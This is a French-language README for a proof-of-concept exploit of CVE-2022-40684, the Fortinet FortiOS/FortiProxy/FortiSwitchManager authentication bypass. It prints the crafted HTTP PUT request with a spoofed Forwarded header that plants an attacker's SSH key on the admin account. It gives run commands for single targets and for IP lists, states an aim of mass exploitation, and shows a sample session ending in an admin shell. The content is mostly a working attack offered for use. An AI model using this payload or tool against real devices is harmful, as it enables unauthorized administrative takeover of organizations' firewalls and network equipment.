
Preuve de concept d'exploitation pour le contournement d'authentification CVE-2022-40684 dans Fortinet FortiOS, FortiProxy et FortiSwitchManager. Injecte des clés SSH via une requête HTTP PUT conçue pour obtenir un accès administrateur.
Pour l'instant, c'est une copie POC pour CVE-2022-40684 affectant les appliances Fortinet FortiOS, FortiProxy et FortiSwitchManager.
Copié de https://github.com/horizon3ai/CVE-2022-40684
L'exploit utilise la charge utile simple :
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: {{Hostname}}
User-Agent: Report Runner
Content-Type: application/json
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
Content-Length: 610
{
"ssh-public-key1": "fake-key"
}
Ce POC abuse de la vulnérabilité de contournement d'authentification pour définir une clé SSH pour l'utilisateur spécifié.
Le développer pour un exploit à grande échelle avec cibles multiples et serveurs multiples pour une exploitation de masse.
1. chmod +x cve-2022-40684.sh
2. ./cve-2022-40684 <TARGET_IP>
or
2. ./cve-2022-40684 <FILE_NAME>
Exemple :
./cve-2022-40684.sh ips.txt
python3 CVE-2022-40684.py -t <TARGET_IP> --username admin --key-file ~/.ssh/id_rsa.pub
L'exemple :
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 #
config Configure object.
get Get dynamic and system information.
show Show configuration.
diagnose Diagnose facility.
execute Execute static commands.
alias Execute alias commands.
exit Exit the CLI.